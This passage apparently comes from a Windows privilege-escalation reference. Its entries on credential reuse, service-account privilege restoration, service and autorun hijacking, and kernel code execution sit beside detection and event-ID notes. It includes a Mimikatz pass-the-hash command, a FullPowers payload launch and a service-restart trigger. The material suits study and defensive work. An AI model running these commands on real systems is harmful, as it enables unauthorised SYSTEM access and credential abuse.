OPSEC / detection: iexplore.exe running as SYSTEM with parent consent.exe (and a cmd.exe child) is the tell-tale anomaly; the canonical Sigma rule matches exactly this consent.exe -> iexplore.exe pair.

Recovered Credentials

Distinguish authentication material from a process's security context.

Passwords and password hashes are different kinds of data. NIST's password-storage model derives a hash from a password, salt, and cost factor. Windows uses access tokens to describe the identity, groups, and privileges of running processes or threads. Finding authentication material does not by itself describe the security context of a running process.

Applicability: All supported Windows versions.

Reviewed claims

• NIST describes password hashing schemes that derive a hash from a password, salt, and cost factor.

  NIST SP 800-63B-4, Authenticators — 3.1.1.2 Password Verifiers

  NIST SP 800-63B-4, Authenticators

• A Windows access token describes a process or thread's security context and includes account identity, group information, and privileges.

  Microsoft, Access tokens — Opening definition and access-token contents

  Microsoft, Access tokens

Requires

• A credential recovered from the host

Example commands

# Run as the recovered local user (cleartext)
runas /user:Administrator cmd.exe

# Pass-the-hash to a local admin shell (token injection, no network)
sekurlsa::pth /user:Administrator /domain:. /ntlm:<nthash> /run:cmd.exe

Tools

• Mimikatz
• NetExec

References

• MITRE ATT&CK · T1078 · taxonomy source
• NIST SP 800-63B-4, Authenticators · primary source
• Microsoft, Access tokens · primary source
• HackTricks, Windows local privilege escalation · community source

OPSEC / detection: Reusing a recovered local credential is quieter than exploitation but still logged; a mismatched account or source is the tell. The 4624 logon type varies by method: interactive runas is type 2; local pass-the-hash / over-PtH via sekurlsa::pth is type 9 (NewCredentials, seclogo); a network logon elsewhere with the reused hash is type 3.

Service Account

Distinguish built-in service accounts and IIS application-pool identities.

Windows services and application pools can use different account identities. LocalService has limited local privileges and presents anonymous network credentials. NetworkService also has limited local privileges, but presents the computer's credentials to remote servers. IIS application-pool identities use virtual accounts that distinguish individual pools and can be assigned resource permissions. These identities should not be treated as one uniform account.

Applicability: Applicability has not been documented for this entry.

Reviewed claims

• LocalService has limited local privileges and presents anonymous credentials on the network.

  Microsoft, LocalService Account — Opening account definition

  Microsoft, LocalService Account

• NetworkService has limited local privileges and presents the computer's credentials to remote servers.

  Microsoft, NetworkService Account — Opening account definition and network credentials

  Microsoft, NetworkService Account

• IIS can use a unique virtual account for an application pool and secure resources using the pool identity.

  Microsoft, Application Pool Identities — Application Pool Identity Accounts; Securing Resources

  Microsoft, Application Pool Identities

References

• Microsoft, LocalService Account · primary source
• Microsoft, NetworkService Account · primary source
• Microsoft, Application Pool Identities · primary source
• HackTricks, Abusing Tokens · community source

Restore Service Account Privileges

Recover a limited service token to its default privileges, including SeImpersonate.

A service running as LOCAL SERVICE or NETWORK SERVICE often starts with a heavily filtered token that is missing SeImpersonatePrivilege. The account's default privilege set can be restored by relaunching through the Task Scheduler while explicitly specifying the RequiredPrivileges set on the task principal, which forces the full default privilege set (including SeImpersonate / SeAssignPrimaryToken) into the spawned token, so a Potato attack becomes possible again. (Note: a task with RequiredPrivileges absent recovers everything EXCEPT SeImpersonate, so the explicit list is what does the work.) itm4n's FullPowers automates this, but it was archived (unmaintained) in 2024 and is reportedly less reliable on Windows 11 / Server 2022 and later, so treat it as one tool for the technique, not the technique itself, and verify on target.

Applicability: Works on Windows 10 / Server 2016 to 2019. Reportedly less reliable on Windows 11 / Server 2022 and later; verify on target. If the account already holds SeImpersonate, skip this and go straight to a Potato (GodPotato needs only that privilege).

Requires

• Code execution as LOCAL SERVICE / NETWORK SERVICE
• Task Scheduler reachable

Example commands

# Recover the default privileges
FullPowers.exe -c "C:\Temp\payload.exe" -z

# Confirm SeImpersonate is back
whoami /priv

Tools

• FullPowers

References

• MITRE ATT&CK · T1134 · taxonomy source
• itm4n, Give Me Back My Privileges · research source

OPSEC / detection: Spawns a scheduled-task-hosted process; the recovered token then runs Potato tooling, which EDR signatures heavily.

goal NT AUTHORITY\SYSTEM

Understand LocalSystem as a distinct Windows account identity.

LocalSystem is a predefined account used by the service control manager. It has extensive privileges on the local computer and acts as the computer on the network. It is not associated with a logged-on user account. A LocalSystem process and an interactive administrator process therefore have distinct account identities; this label should not be used as a synonym for every kind of local administrative access.

Reviewed claims

• LocalSystem is a predefined service-control-manager account with extensive local privileges and acts as the computer on the network.

  Microsoft, LocalSystem Account — Introduction

  Microsoft, LocalSystem Account

• LocalSystem is not associated with a logged-on user account.

  Microsoft, LocalSystem Account — Introduction

  Microsoft, LocalSystem Account

Requires

• Any one successful local escalation vector

References

• Microsoft, LocalSystem Account · primary source

Service Executes Your Code

A SYSTEM service launches your payload on (re)start.

Whether you rewrote a binPath, replaced the on-disk EXE, hijacked a DLL it loads, edited the service's registry key, reconfigured it as a Server Operator, or pointed a service plugin at your DLL (DnsAdmins), the outcome is identical. When the Service Control Manager next starts the service, it runs your code as its account, almost always LocalSystem.

Applicability: Applicability has not been documented for this entry.

Requires

• Control over what a privileged service executes
• Ability to (re)start the service or wait for a reboot

Example commands

# Trigger the (re)start (sc stop returns at STOP_PENDING, so wait before starting)
sc stop <service> & timeout /t 5 & sc start <service>

References

• MITRE ATT&CK · T1543.003 · taxonomy source
• HackTricks, Windows Local Privilege Escalation · community source

OPSEC / detection: Service install/change events (7045/7040) plus an unusual child process under services.exe are high-fidelity signals. Restore the original config afterward.

Auto-Run Executes Your Code

Code a higher-privileged context runs automatically.

Several misconfigs share one shape: a binary or script that a higher-privileged context executes, whether on a schedule, at logon, or via an accessibility hook (utilman/sethc), is writable by you, directly or after taking ownership. Overwrite it and wait for, or invoke, the trigger; your payload then runs as that principal.

Applicability: Applicability has not been documented for this entry.

Requires

• A writable binary/script invoked automatically by a privileged context
• The trigger fires: logon, schedule, lock screen, or you invoke it

References

• HackTricks, Windows Local Privilege Escalation · community source

OPSEC / detection: New/modified autorun, scheduled-task, or accessibility binaries are classic IOCs. The signals differ by vector: scheduled-task changes fire Event ID 4698/4702; autorun (Run key / Startup) changes surface as registry-modify (Sysmon Event ID 13 / Security 4657) and via Autoruns; accessibility-binary (utilman/sethc) overwrites surface as System32 file-create (Sysmon Event ID 11) and the image-load of the accessibility binary. Overwriting an existing target is quieter than creating one; restore it afterward.

Kernel-Mode Code Execution

Distinguish processor execution mode from Windows account identity.

Kernel mode and user mode are processor execution modes. Applications use user mode; core operating-system components use kernel mode. LocalSystem is a Windows account identity with extensive local privileges. Processor mode and account identity describe different aspects of execution and should be recorded separately.

Applicability: Applicability has not been documented for this entry.

Reviewed claims

• Windows distinguishes user and kernel processor modes; applications use user mode and core operating-system components use kernel mode.

  Microsoft, User mode and kernel mode — Opening mode distinction

  Microsoft, User mode and kernel mode

• LocalSystem is a predefined account identity with extensive privileges on the local computer.

  Microsoft, LocalSystem Account — Opening account definition

  Microsoft, LocalSystem Account

Requires

• A working kernel exploit, or a loadable vulnerable driver, for the exact OS build

References

• MITRE ATT&CK · T1068 · taxonomy source
• Microsoft, User mode and kernel mode · primary source
• Microsoft, LocalSystem Account · primary source

OPSEC / detection: BYOVD is increasingly PREVENTED outright by HVCI / Memory Integrity plus the Microsoft Vulnerable Driver Blocklist (default-on since Win11 22H2), which stops a blocklisted or unsigned driver from loading in the first place. Unsigned driver loads and ring-0 token manipulation are also high-signal EDR detections (Sysmon Event ID 6 unsigned loads, 7045 service creation), and instability risks a visible crash. Prefer a misconfig vector when one exists.